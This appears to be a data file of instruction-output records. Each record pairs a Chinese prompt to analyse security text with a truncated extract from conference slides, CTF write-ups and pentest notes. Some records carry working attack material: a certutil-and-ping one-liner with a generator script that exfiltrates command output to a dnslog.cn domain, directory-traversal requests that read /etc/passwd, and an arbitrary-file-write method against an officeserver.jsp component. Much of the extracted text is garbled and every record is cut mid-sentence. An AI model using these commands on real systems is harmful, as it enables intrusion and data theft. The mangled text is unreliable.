Inc. Based out of Ottawa, ON. Hacker Interests: Exploiting stuff Building hacking tools Prior work: Sploitego (presented at DEF CON XX) Canari (used by Fortune 100s) PyMiProxy (used by Internet Archive) BurpKit - Using WebKit to Own the Web 2 2015-07-15 OVERVIEW WebKit What is it? Why use it? How can we use it? BurpKit Design Considerations Implementation Demos! Conclusion Questions? 2015-07-15 BurpKit - Using WebKit to Own the Web 3 THE WEB PEN-TESTERS CONUNDRUM Todays web applications are complex beasts Heavy use of JavaScript for: Rendering pages Rendering page elements Performing web service requests But our security tools are still scraping HTML!? 2015-07-15 BurpKit - Using WebKit to Own the Web 4 OUR TOOLKIT 2015-07-15 BurpKit - Using WebKit to Own the Web 5 Reconnaissance & Scanning: Most tools (nikto, cewl, etc.) just scrape HTML Attack: BurpSuite Pro/Community Lobo-based Renderer tab (Burps neglected child) ! No JavaScript/HTML5 support Charles & Zed are just proxies WebSecurifys Proxy.app only has a web view MODERN TOOLKIT REQUIREMENTS 2015-07-15 BurpKit - Using WebKit to Own the Web 6 Web penetration testing tools that: Have modern web browser capabilities Parse and interpret JavaScript Dynamically render and inspect content Most importantly: Our tools need to be able to interact with the DOM! WEBKIT What is it good for? - Lots of things! 2015-07-15 BurpKit - Using WebKit to Own the Web 7 WHAT IS WEBKIT? WebKit is a layout engine software component for rendering web pages in web browsers. It powers Apple's Safari web browser, and a fork of the project is used by Google's Chrome web browser. - Wikipedia (https://en.wikipedia.org/wiki/WebKit) 2015-07-15 BurpKit - Using WebKit to Own the Web 8 Image credit: Smashing Magazine (UN)OFFICIAL DEFINITION 2015-07-15 BurpKit - Using WebKit to Own the We", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\npwunconv === 用来关闭用户的投影密码 ## 补充说明 **pwunconv命令** 与pwconv功能相反用来关闭用户的投影密码它会把密码从shadow文件内重回存到passwd文件里 ### 语法 ```shell pwunconv ``` ### 实例 ```shell pwunconv # 关闭影子密码 cat /etc/passwd | grep test # 发现密码已经在passwd文件中了 test:$6$nYOEWamm$bz07nlv/.RgJufb3FAqJJeULfwybzgxmrWqbk7O4vI0KsT6N.ujrh6dDIUcAJdfjksyuyAFDPIngZeD3cgcf.0:3001:3001::/home/test:/bin/sh ls /etc/shadow # 查看影子文件提示没有这个文件或目录 ls: cannot access /etc/shadow: No such file or directory ```", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Cyberware (web, 416, 24 solved) We get access to a webpage with links to 4 ascii-art files. If we simply click on them, we can't see the files and we get HTTP 412 response. Once we dig a bit deeper we can see a strange header `HTTP/1.1 412 referer sucks` Once we send a raw request with no headers, we get back a nice picture: ```python from crypto_commons.netcat.netcat_commons import nc def main(): s = nc(\"cyberware.ctf.hackover.de\", 1337) s.sendall(\"GET /fox.txt HTTP/1.0\\r\\nConnection: close\\r\\n\\r\\n\") print(s.recv(9999)) print(s.recv(9999)) pass main() ``` If we look closely at the responses we can see: ``` HTTP/1.1 200 Yippie Server: Linux/cyber Date: Sun, 07 Oct 2018 14:50:19 GMT Content-type: text/cyber Content-length: 414 ``` This could suggest a custom-made http server of some sort. Once we play around a bit we notice that there is a directory traversal there: ``` s.sendall(\"GET ./etc/passwd HTTP/1.0\\r\\nConnection: close\\r\\n\\r\\n\") ``` returns contents of `/etc/passwd` for us. Now we can get `/proc/self/cmdline` which tells us we're running `/usr/bin/python3 ./cyberserver.py`, and we can read this file to recover [server source code](cyberserver.py) The interesting part of the code is: ```python if path.startswith('flag.git') or search('\\\\w+/flag.git', path): self.send_response(403, 'U NO POWER') self.send_header('Content-type', 'text/cyber') self.end_headers() self.wfile.write(b\"Protected by Cyberware 10.1\") return ``` This suggests there is a `flag.git` repository there! It seems blacklisted, but `\\w+` does not match `/` and they included only a single `/` in the pattern so if we send two, it will bypass the check: ``` s.sendall(\"GET ./home/ctf//flag.git HTTP/1.0\\r\\nConnection: close\\r\\n\\r\\n\") ``` We get back a nice `HTTP/1.1 406 Cyberdir not accaptable`, so we made a proper request. Now what is left is to modify some git-repo-dumper like https://github.com/internetwache/GitTools/tree/master/Dumper to grab the contents of the git repo and there we can find t", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# T1594-搜索受害者所拥有的网站 ## 来自ATT&CK的描述 攻击者可能会搜索目标组织拥有的网站以获取可在目标攻击中使用的信息目标组织拥有的网站可能包含各种细节包括部门/分部的名称物理位置和关键员工的数据如姓名角色和联系信息例如电子邮件地址这些网站还可能有突出商业运作和关系的细节 攻击者可能会搜索目标组织拥有的网站以收集可操作的信息来自这些来源的信息可能会提供其他形式的侦察机会例如钓鱼信息或搜索开放式技术数据库建立业务资源例如建立账户或破坏账户或初始访问例如信任关系或钓鱼 ## 测试案例 个人理解收集网站上公布的人事信息政府网站居多管理员邮箱信息等 ## 检测日志 无 ## 测试复现 无 ## 测试留痕 无 ## 检测规则/思路 无 ## 建议 许多此类攻击活动的发生率很高并且相关的误报率也很高并且有可能发生在目标组织的监测范围之外从而使防御者难以发现 检测工作可能会集中在攻击生命周期的相关阶段例如在\"初始访问\"阶段 ## 参考推荐 MITRE-ATT&CK-T1594 ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nSeparating Bots from Humans Ryan Mitchell @kludgist DEF CON 23 August 8th, 2015 Who am I? Software Engineer Author of two books: Web Scraping with Python (OReilly, 2015) Instant Web Scraping with Java (Packt, 2013) Engineering grad from Olin College Masters student at Harvard University School of Extension Studies, 2016 A history of this talk The OReilly Hacking Book: Separating Bots from Humans Pro-tips to get what you want: Include some market research Write it in Python, because its really popular What are Web Scrapers, Bots, etc? They can use browsers They can take their sweet time They can be surprisingly smart They can be stunningly idiotic Why Theyre Important source: https://www.incapsula.com/blog/bot-traffic-report-2014.html On the Defense Side of Things (For better or worse) robots.txt? No Trespassing, please? Terms of Service Hey! You said you wouldnt trespass! Headers Im totally not a bot. Promise JavaScript Make your site un-indexable for anyone but the bad guys Embedding Text in Images Oh come on. Youre the type of person who writes email addresses like m e (at sign) domain . com And you have duct tape on your laptops web cam, mostly because you never use it. CAPTCHAs Annoying Breakable Honepots Can be effective, if implemented correctly Please dont block the Google bots Example time! http://ryanemitchell.com/honeypots.html Behavioral Patterns Now were getting somewhere! Again, please dont block the Google bots IP Address Blocking Its sort of effective If they didnt really care in the first place Lists are a pain to maintain You can easily block the good guys On the Attack Side of Things... Targeted vs. Non-Targeted Attacks Non-targeted: Also known as, look for /phpMyAdmin Targeted, usually to get proprietary data OCR Works best on relatively normal text Can be used to solve CAPTCHAs Time consuming to create training data. Have a series or two of a TV show ready OCR Training Tool Everything you need to solve a CAPTCHA! h", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nDefCon 19 august 4th-7th, 2011 Rio Hotel, Las Vegas Key Impressioning (working title, I guess theres still time to change this?) Jos Weyers H. Edward Tickel Jr. FBIs go-to NDE guy in the late 70s http://www.tresoroeffnung.de/buch.php THE #1 reference work Impressioning by Oliver Diederichsen How long can I stand in front of your server room without being questioned? 2 seconds? one minute? ten? Two seconds, twice a day, for about a week? Demo 2006 5:35 2007 5:19 2008 5:32 2009 4:23 2009 1:27 2010 0:57 2011 1:23 Series1 0 50 100 150 200 250 300 350 1 2 3 4 5 6 Series1 KJS tool by Jord Knaap Want more ? Books Impressioning by Oliver Diederichsen (www.tresoroeffnung.de) Practical Lockpicking by Deviant Ollam High Security Mechanical Locks by Graham Pulford Locks, Safes, & Security by Marc Tobias Videos Online YouTube & Google http://connect.waag.org/toool http://deviating.net/lockpicking/videos Other Informative Sites http://toool.nl http://toool.us http://blackbag.nl http://deviating.net/lockpicking http://lockpicking101.com http://security.org http://stormlockpicks.com http://openlocksport.com http://securitysnobs.com Thanks to: Deviant Ollam lock animations Barry Wels pictures from blackbag.nl Oliver Diederichsen excerpts from his book Jord Knaap KJS tool Encore: impressioning visually step-by-step Uncut key Key after the KJS treatment cut to the 1-1-1-1-1 position mark on position 2 (begin counting at shoulder) Close-up of mark (reflection) 12112 (after jiggle) mark distorts reflection on position 2 13112 again a mark on position 2 14112 yet again position 2 different angle (the dark spot) the key does turn, but only with force tiny mark on position 5 And a big crater-mark on position 2 same mark, different angle again same mark yet again (can you tell, I like crater-marks?) like, really like them working key same key, cleaned up (code 15112)", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# DoSaTTaCK * Category: Reverse Engineering * 1200 Points * Solved by the JCTF Team ## Description > What is this file and how can it help you get the flag? Attached was a file called `challenge.flp`. ## Solution Let's inspect this file: ```console root@kali:/media/sf_CTFs/bsidestlv/DoSaTTaCK# file challenge.flp challenge.flp: DOS/MBR boot sector, code offset 0x58+2, OEM-ID \"WINIMAGE\", sectors/cluster 2, root entries 112, sectors 640 (volumes <=32 MB), Media descriptor 0xfd, sectors/FAT 1, sectors/track 8, serial number 0x22550c8e, label: \" \", FAT (12 bit), followed by FAT ``` This looks like an image of a floppy disk, 7Zip can usually extract these files: ```console root@kali:/media/sf_CTFs/bsidestlv/DoSaTTaCK# 7z e challenge.flp 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=en_IL,Utf16=on,HugeFiles=on,64 bits,1 CPU Intel(R) Core(TM) i5-4330M CPU @ 2.80GHz (306C3),ASM,AES-NI) Scanning the drive for archives: 1 file, 327680 bytes (320 KiB) Extracting archive: challenge.flp -- Path = challenge.flp Type = FAT Physical Size = 327680 File System = FAT12 Cluster Size = 1024 Free Space = 266240 Headers Size = 7168 Sector Size = 512 ID = 575999118 Everything is Ok Folders: 2 Files: 3 Size: 52676 Compressed: 327680 root@kali:/media/sf_CTFs/bsidestlv/DoSaTTaCK# ls -al drwxrwx--- 1 root vboxsf 4096 Jun 21 13:08 . drwxrwx--- 1 root vboxsf 4096 Jun 20 19:23 .. -rwxrwx--- 1 root vboxsf 327680 Jun 11 19:10 challenge.flp -rwxrwx--- 1 root vboxsf 17216 Apr 6 1992 CLIENT.EXE -rwxrwx--- 1 root vboxsf 11892 Sep 26 1987 MAIN.ENC -rwxrwx--- 1 root vboxsf 23568 Apr 6 1992 SERVER.EXE ``` We have three pretty old executable files (dated 1987 and 1992): ```console root@kali:/media/sf_CTFs/bsidestlv/DoSaTTaCK# file CLIENT.EXE CLIENT.EXE: MS-DOS executable, NE for MS Windows 3.x root@kali:/media/sf_CTFs/bsidestlv/DoSaTTaCK# file SERVER.EXE SERVER.EXE: MS-DOS executable, NE for MS Windows 3.x root@kali:/media/sf_CTFs/bsidestlv/DoSaTTaCK# file M", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nIntroduction to CTF Traditional Course Practice More theory and basic concept, but less practice and lab Offensive Thinking Think like a hacker Real World Attack Overall attack life cycle Reconnaissance Gaining Access Maintain Access Clearing Tracks Need to cope with many fussy work Most security issue Too simple to find Too complex The other way for security training CTF as the training for offensive security Spread security techniques Measure security skill Practice, practice and more practice Emulate real world problems Environment close to real environment Eliminate the boring task and focus on advanced security skill Capture the Flag The competition to steal data, a.k.a flag, from other computers EX. Steal admin password from a web server Most problems are related to information security Good practice for students and even the experts CTF Starting from Defcon 4 in 1996 Format is a mystery... Held every year since 1996 The most important CTF now UCSB iCTF first held in 2001 The first CTF be held by academic organization CTF around the world To enhance education of offensive security, CTFs are held in many country U.S: DEFCON, Ghost In the Shellcode, PlaidCTF CTF around the world To enhance education of offensive security, CTFs are held in many country Japan: SECCON, TMCTF, MMACTF CTF around the world To enhance education of offensive security, CTFs are held in many country Korea: CodeGate, SECUINSIDE CTF around the world To enhance education of offensive security, CTFs are held in many country China: XCTF, BCTF, 0CTF, .. CTF around the world To enhance education of offensive security, CTFs are held in many country Russia: RuCTF France: Nuit du Hack CTF Malaysia: HITB CTF Colombia: Backdoor CTF CTFTime Created by kyprizel (MSLC) in 2010 Centralize ranking and statistic website Trend of CTFs CTF contest Less than 10 in 2010 More than 50 CTFs in 2014 CTF teams More than 6000 teams in 2014 Many famous teams Famous CT", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nJava反序列化漏洞 - 1.从URL类的个bug 说起 1 Java反序列化漏洞 - 1.从URL类的 个bug 说起 URL 类的个远古bug Java 的URL 类有个很好玩的bug当你调它的hashCode()法时会发起次DNS 解析例如当你往HashSet 添加个URL元素时会触发URL 的hashCode() 法较 元素然后发出个DNS 请求 Java反序列化漏洞 - 1.从URL类的个bug 说起 2 这个bug 源于URL 的个错误实现早在2001 年已经有反馈给oracle我们现在还能 在Oracle 的java bug 反馈平台看到当时的bug report 记录 当时有好个同时反馈了这个问题 其中个表怎么我调个简单的 hashCode() 法花了20秒 以及怎么我两个url 不样调equals 较返回true 这是因为URL 类在计算hashCode 的时候发起了DNS 请求获取ip并且通过ip地址来 较两个URL 对象是否equals实现这功能的程师应该是这么想的较两个URL 是否相等时应该较它们的ip 地址 oracle 收到bug 反馈后最后的结论是不处理因为需要向后兼容但他们提供了个新 的URI 类来避免这个问题 Unfortunately, changing the behavior now would break backward compatibility in a serious way, plus Java Security mechanism Java反序列化漏洞 - 1.从URL类的个bug 说起 3 depends on it in some parts of the implementation. We can't change it now. 这错误实现看起来没有什么处没想到多年后便了安全研究员 反序列化简介 所以URL 类跟反序列化漏洞有什么关系当然有关系 下先介绍下反序列化 简单来说序列化就是把对象存到件反序列化就是从件读取个对象代码运 时对象是在内存的运结束内存的对象就没有了为了可以持久化需要存到 件 序列化 Employee employee = new Employee(); FileOutputStream fileOutputStream = new FileOutputStream(\"/tmp/employee.ser\"); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); objectOutputStream.writeObject(employee); objectOutputStream.close(); fileOutputStream.close(); 反序列化 FileInputStream fileInputStream = new FileInputStream(\"/tmp/employee.ser\"); ObjectInputStream objectInputStream= new ObjectInputStream(fileInputStream); Employee employee = (Employee) in.readObject(); objectInputStream.close(); fileInputStream.close(); 写到件的是进制数据我们还可以使readObject 法和writeObject 法来 定义对象的哪些内容需要序列化 readObject 和writeObject 是约定俗成的法不是哪个接定义的法Java 在序列 化和反序列化时会通过反射去寻找它们如果存在会直接调 Java反序列化漏洞 - 1.从URL类的个bug 说起 4 private void writeObject(ObjectOutputStream out) throws IOException; private void readObject(ObjectInputStream ins) throws IOException, ClassNotFoundException; 如果在反序列化调readObject 的时候readObject 有些危险的代码漏洞就形 成了 以URL 类为例个以URL 为key 的HashMap在反序列化时会调URL 的hashCode 法触发个DNS 请求 也就是说我们可以让标服务器发个DNS 请求如果我们收到了这个dns 志可以 证明反序列化漏洞存在 探测是否存在反序列化漏洞 我们可以这个bug 来探测是否存在反序列化漏洞 1.先成序列化件 Map map = n", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nAuthor: 远海@websecuritys.cn 0x01:前言 最近忙着复习,所以很少关注安全这块了本次是针对自己学校某系统的渗透记录,已获得相应授 权通用漏洞涉及影响单位早前已提交至SRC平台,厂商以发布对应补丁 0x02:信息收集 目标系统主要是一个支付平台,是近期刚上线的系统,向学校老师取得相应授权后开始测试 软件开发商:`xx软件开发有限公司/xxsoft/xxxx.com.cn` 开发语言: `Java` 框架: `St2` 因为是近期刚上线的系统,单点认证还没有接入无法通过单点认证登录此系统,在尝试爆破 admin 密码后无果. 开始转向源码的收集毕竟白盒才是最直接的手段源码的收集大致有以下几个思路: 1.百度云盘 2.闲鱼 (部分商家已搭建第三方系统为主可能有存货需要主动询问) 3.同系统站点下存在备份 百度云盘和闲鱼比较费时间,这两个主要看自身对关键词的理解因为这两个思路基本被人玩的差不多了也就 不在浪费时间了(后面找了下也确实没有)先确定了该系统的指纹,使用 fofa 收集相同系统站点 然后丢进御剑里走一遍字典如下: /ROOT.7z /ROOT.rar /ROOT.tar /ROOT.tar.gz /ROOT.war /ROOT.zip /web.tar /web.tar.gz /web.rar 这里其实需要注意.很多情况是 tomcat 下部署了多个应用在不同目录中,而 ROOT 目录中只是几个简单的重定 向 文件所以在扫描多应用站点时,应该把 ROOT 改成应用所处目录名. 如: /pay/index.jsp-- > /pay/ --> pay.war 上面这套思路纯粹看运气.结果也是没有扫到. 0x03:某组件存在安全问题 备份走不通只能走一些历史漏洞了把url列表丢进自己写的轮子里扫一遍: (先是扫了一次目录,后根据目录再次 验证) 发现 ticket 模块下存在 officeserver.jsp ,访问后出现提示 DBSTEP V3.0 0 14 0 请使用Post方法 典型的某格组件,该组件默认存在 SAVEASHTML 方法,攻击者构造特殊的数据包可以造成任意文件的写入: 并且默 认使用 Base64 加密,主要问题在于数据包的构造: 一张图简单了解下具体格式. (别喷,我自己也看不懂) **解释: ** 具体参考 DbStep.jar 中的 StreamToMsg 方法这里只做简单的解释 数据包的前64字节为配置信息,告诉后端该 如何读取,也就是0-63位 其中 0:15 赋值给变量 FVersion , 16:31 赋值给变量 BodySize , 32:47 赋值给 ErrorSize . 48:63 赋值给 FFileSize .除了 FVersion ,其余中间内容只能填写数字,代表着各个变量的内容要 读取多少位. 以 BodySize 为例子,这里的内容为 114 ,也就是说去除数据前64字节,在往后读114字节.这114字 节内容赋值给 FMsgText .之后取参数也是从 FMsgText 中取每个参数以 \\n\\t 进行分割 以此类推. 了解如何构造对应数据包后开始编写脚本: 该组件默认会有一个 SAVEASHTML 方法可以将 FFileSize 截取的内容存储到文件中导致任意文件的写入 else if (mOption.equalsIgnoreCase(\"SAVEASHTML\")) { // ĴΪOFFICEΪHTMLҳ mHtmlName = MsgObj.GetMsgByName(\"HTMLNAME\"); // ȡļ mDirectory = MsgObj.GetMsgByName(\"DIRECTORY\"); //ȡĿ¼ MsgObj.MsgTextClear(); if (mDirectory.trim().equalsIgnoreCase(\"\")) { mFilePath = mFilePath + \"\\\\HTML\"; } else { mFilePath = mFilePath + \"\\\\HTML\\\\\" + mDirectory; } MsgObj.MakeDirectory(mFilePath); // if (MsgObj.MsgFileSave(mFilePath + \"\\\\\" + mHtmlName)) { // HTMLļ MsgObj.MsgError(\"\"); // Ϣ MsgObj.SetMsgByName(\"STATUS\", \"HTMLɹ!\"); // Ϣ } else { MsgObj.MsgError(\"HTMLʧ!\"); // ôϢ } MsgObj.MsgFileClear(); } 当文件夹不存在时会自动创建对应的文件夹 MsgF", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nDisclaimer: This presentation is based upon personal research that was not supported or authorized by my employer. The material being presented may be considered offensive to those with weak hearts, a sense of ethics, or those highly invested in technology funds. Robert Stucke bobx@rot26.net DNS Has Been Found To Be Hazardous To Your Health Use With Caution About Me Phoenix @ 90K feet! Agenda DNS Bit-Squatting Misunderstood end-point DNS behavior You dont own that domain, I do Abandoned Botnets and Forgotten Toys Bit-Squatting Presented by Artem Dinaburg at Blackhat and Defcon in 2011 Project Page http://dinaburg.org/bitsquatting.html Presentation Video http://youtu.be/lZ8s1JwtNas Presentation Slides http://dinaburg.org/data/DC19_Dinaburg_Presentation.pdf Bit-Squatting What is it? Why does it happen? What is the impact? Bit-Squatting Bit-Squatting 0110011101101111011011110110 0110011101101101011011110110 Bit-Squatting What is Bit-Squatting? Anticipate the way a single bit error in memory will corrupt the DNS name Registering those mangled domains Rapture, Mayhem, Yay! Bit-Squatting 01100111011011110110111101100111011011000110010100101110011000110110111101101101 01100111011011110110111101100110011011000110010100101110011000110110111101101101 google.com goofle.com Bit-Squatting What causes these memory errors? Heat Electrical Problems Radioactive Contamination Cosmic Rays! Bit-Squatting Phones Bit-Squatting The guidance we give to data center operators is to raise the thermostat. Many data centers operate at 70 degrees or below. Wed recommend looking at going to 80 degrees - Erik Teetzel Energy Program Manager at Google The peak operating temperature Googles Belgium data center reaches is 95 degrees Fahrenheit! Bit-Squatting Bit-Squatting gstatic.com Google domain for serving static content CSS Images Javascript XML Bit-Squatting gstatic.com fstatic.com estatic.com cstatic.com ostatic.com wstatic.com grtatic.com gqtatic.com gwtatic.com gctatic.com g3", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n信誉危机 广受认可的硬件和软件遭遇信任危机 Seunghun Han 国家安全研究所高级安全研究员 29 May 2019 - NSR韩国国家安全研究所高级安全研究员 - Black Hat Asia 2019影响力成员 - KIMCHICON审查委员会成员 - 作为演讲嘉宾出席以下会议 - USENIX Security 2018 - Black Hat Asia 2017 - 2019 - HITBSecConf 2016 - 2017 - BeVX and KIMCHICON 2018 - 64-bit multi-core OS principles and structure, Vol. 1 and Vol. 2)的作者 - a.k.a kkamagui @kkamagui1 我是谁? - 介绍一个关于信誉的刻板印象 信誉并不代表值得信赖 不幸的是由于信誉我们很容易相信某些东西 - 列举信誉厂商令人失望的案例 BIOS / UEFI固件和可信平台模块TPM由值得信赖的 公司制作 但是我发现了两个漏洞CVE-2017-16837和CVE- 2018-6622可以破坏TPM - 提出了对策以及我们所需要做的 不要基于信誉而轻信眼见为实自己动手检查 本演讲的目标 以前的工作 信誉 基于 信任! 我们只相信 值得信赖 的公司出产的 产品 信誉良好的公司 (高价) 其他公司 (低价) 您的 仅供演示! 信誉良好的公司 (高价值) 其他公司 (低价值) 您的 仅供演示! I KNOW WHAT YOU DID FOR THE PRESENTS! 值得信赖的要素 衡量信任的根源 核心 RTM 信誉良好的 产品 真的 值得信任吗? 信誉 可信! 每个人都有一个计划, 直到他们脸上挨了一拳 - 迈克 泰森 每个人都有一个计划 直到他们脸上挨了一拳 - 迈克 泰森 每个研究者 都有一个计划 直到遇到他们的经理 - 佚名 你 每个研究者 都有一个计划 直到遇到他们的经理 - 佚名 经理 CEO 时间轴 ~~ Happiness 0 5 10 - 10 - 5 - 1000 - 100 2017 2018 2019 Time (year) 首次遭遇 再次遭遇 CVE-2017- 16837 CVE-2018- 6622 USENIX Security Black Hat Asia Black Hat Asia with Napper ~~ Happiness 0 5 10 - 10 - 5 - 1000 - 100 2017 2018 2019 Time (year) 首次遭遇 二次遭遇 CVE-2017- 16837 CVE-2018- 6622 USENIX Security Black Hat Asia Black Hat Asia with Napper 内容 - 背景 可信计算组织TCG - 定义全球行业规范和标准 - 英特尔AMDIBM惠普戴尔联想微软思科 瞻博网络和英飞凌等知名公司均为其成员 - 支持硬件信任根 - 可信平台模块TPM是核心技术 - TCG技术已应用于统一可扩展固件接口UEFI TCG的可信计算基TCB - 是主机平台上的软件和硬件集合 - 管理和执行系统的安全策略 - 能够防止自己受到入侵 - 可信平台模块TPM有助于确保TCB正确实例化并值得 信赖 可信平台模块TPM(1) - 是防篡改设备 - 拥有自己的处理器RAMROM和 非易失性RAM - 它有自己的与系统分开的独立状态 - 提供加密和累积测量功能 - 测量值累积到平台配置寄存器PCR0~23 可信平台模块TPM(2) - 用于通过调查存储在PCR中的值来确定系统的可信度 - 可以使用本地验证或远程证明 - 用于根据特定的PCR值限制对秘密数据的访问 - 密封操作利用TPM的PCR加密秘密数据 - 只有当PCR值与特定值匹配时Unseal操作才能解密密封 数据 测量信任的根源RTM - 向TPM发送与完整性相关的信息测量 - TPM将测量结果累积到具有PCR中先前存储的值的PCR - CPU是否由Core RTMCRTM控制 - 当建立新的信任链时CRTM是第一组指令 Extend: PCRnew = Hash(PCRold || Measurementnew) 静态和动态RTMSRTM和DRTM - 当主机平台在POWER-ON或RESTART启动时SRTM由静态 CRTMS-CRTM启动 - DRTM由动态CRTMD-CRTM在运行时启动无需平台重 置 - 在将控制传递给它们前它们将组件的测量值散列扩展到 PCR : 将下一个代码的哈希扩展到TPM 执行下一个代码 BIOS/UEFI 固件 BIOS/UEFI Code TPM Boot", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nscapytcp 0x00 natgettcpnat wendellh.323TCPTCPFTP scapytcpscapy 0x01 scapy https://scapy.readthedocs.io/en/latest/ demo https://akaljed.wordpress.com/2010/12/12/scapy-as-webserver/ demo #!/usr/bin/python from scapy.all import * # Interacts with a client by going through the three-way handshake. # Shuts down the connection immediately after the connection has been established. # Akaljed Dec 2010, http://www.akaljed.wordpress.com # Wait for client to connect. a=sniff(count=1,filter=\"tcp and host 192.168.1.1 and port 80\") # some variables for later use. ValueOfPort=a[0].sport SeqNr=a[0].seq AckNr=a[0].seq+1 # Generating the IP layer: ip=IP(src=\"192.168.1.1\", dst=\"192.168.1.2\") # Generating TCP layer: TCP_SYNACK=TCP(sport=80, dport=ValueOfPort, flags=\"SA\", seq=SeqNr, ack=AckNr, options=[('MSS', 1460)]) #send SYNACK to remote host AND receive ACK. ANSWER=sr1(ip/TCP_SYNACK) # Capture next TCP packets with dport 80. (contains http GET request) GEThttp = sniff(filter=\"tcp and port 80\",count=1,prn=lambda x:x.sprintf(\"{IP:%IP.src%: %TCP.dport%}\")) AckNr=AckNr+len(GEThttp[0].load) SeqNr=a[0].seq+1 # Print the GET request # (Sanity check: size of data should be greater than 1.) if len(GEThttp[0].load)>1: print GEThttp[0].load # Generate custom http file content. html1=\"HTTP/1.1 200 OK\\x0d\\x0aDate: Wed, 29 Sep 2010 20:19:05 GMT\\x0d\\x0aServer: Testserver\\x0d\\x0aConnection: Keep- Alive\\x0d\\x0aContent-Type: text/html; charset=UTF-8\\x0d\\x0aContent-Length: 291\\x0d\\x0a\\x0d\\x0aTestserver

    -Welcome to test server----------- --------------------

    \" # Generate TCP data data1=TCP(sport=80, dport=ValueOfPort, flags=\"PA\", seq=SeqNr, ack=AckNr, options=[('MSS', 1460)]) # Construct whole network packet, send it and fetch the returning ack. ackdata1=sr1(ip/data1/html1", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nWindows下DNS出的命令回显技巧.md 2022/6/30 1 / 9 Windows下DNS出的命令回显技巧 最近遇了很多仅DNS出的极限环境简单研究了个还算通的利DNSLog的回显Trick全当抛砖引 不喜勿喷 0x00 前 在实战中命令执总能遇各种各样的环境回显且仅DNS出的环境也能占个多数仅DNS出的 环境般利编码+DNSLog就可以解决回显问题 通指的是在server2003powershell环境也能 windows带的encode只有certutil Windows下DNS出的命令回显技巧.md 2022/6/30 2 / 9 certutil带了base64和hex两种encode法 0x01 base64-encode存在的问题 特殊字符+/ powershell环境处理替换常麻烦 单度dns域名度限制63个certutil-encode后单字符度为64需要将分割为两段带 出powershell需要cmdshell套循环操作分繁琐 云服务器DNS问题 Windows下DNS出的命令回显技巧.md 2022/6/30 3 / 9 腾讯云的DNS服务器存在强转写问题头没阿服务器不过测试了阿的DNS223.5.5.5也存在 样的问题 以上原因在我研究的时候最终放弃了base64-encode的案尤其是最后条强转写的问题 0x02 hex-encode案 先看encode结果 对base64的主要优点 特殊字符 单度为32字符 需考虑写 需考虑不同条数数据外带存在延时外带记录会带出前4位表示数据位置的字符0000 但是次dns只能带出来16个字符回显效率有点低 Windows下DNS出的命令回显技巧.md 2022/6/30 4 / 9 接下来只需要利cmdshell语法将中间的字符取出来即可 for /f \"tokens=1-17\" %a in (result.txt) do echo %a%b%c%d%e%f%g%h%i%j%k%l%m%n%o%p%q 在encode的最后可能因为字符不导致存在特殊字符 在写的命令txt后追加部分字符后再encode即可解决此问题 just like: ipconfig > ipconfig &&echo 11111111111>>ipconfig 最后DNSLog记录会以0d0a3131结尾很容易判断了 最终命令: command > command &&echo 11111111111>>command && certutil -encodehex command command.txt && for /f \"tokens=1-17\" %a in (command.txt) do start /b ping -nc 1 %a%b%c%d%e%f%g%h%i%j%k%l%m%n%o%p%q.command.dnslog.cn && del command && del command.txt 0x03 动化 因为外带的数据条数实在太就顺便动化下 个成命令另个脚本来监听dnslog平台并做格式化输出 CommandGen.py Windows下DNS出的命令回显技巧.md 2022/6/30 5 / 9 import sys commandTem = r'command > command7 &&echo 11111111111>>command7 && certutil -encodehex command7 command7.txt && for /f \"tokens=1-17\" %a in (command7.txt) do start /b ping -nc 1 %a%b%c%d%e%f%g%h%i%j%k%l%m%n%o%p%q.command.{0} && del command7 && del command7.txt' with open('config617', 'r') as f: command = commandTem.format(f.readlines()[0]) if __name__ == '__main__': if len(sys.argv)<2: print('usage: python3 CommandGen.py Yourcommand No(start)') print('like: python3 CommandGen.py whoami (Command will use \"start\".Start will Send a large number of requests in a short period of time, resulting in lost DNSLog record)') print('like: pyt", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# 代理实验 > 注 : 笔记中拓扑图 xmind 源文件在其图片目录下 --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **相关文章** - [终于有人把正向代理和反向代理解释的明明白白了](https://cloud.tencent.com/developer/article/1418457) - [谈谈我所了解的WEB代理](https://www.freebuf.com/articles/web/181723.html) - [红队第9篇给任意java程序挂Socks5代理方法](https://mp.weixin.qq.com/s/pVAZvKADFVwPOC4CwrCooQ) **相关利用案例** - [代理配置不当](../../Web安全/Web_Generic/Web_Generic.md#代理配置不当) --- ## 正向代理 正向代理forward proxy是一个位于客户端和目标服务器之间的服务器(代理服务器)为了从目标服务器取得内容客户端向代理服务器发送一个请求并指定目标然后代理服务器向目标服务器转交请求并将获得的内容返回给客户端 这种代理其实在生活中是比较常见的比如访问外国网站技术其用到的就是代理技术 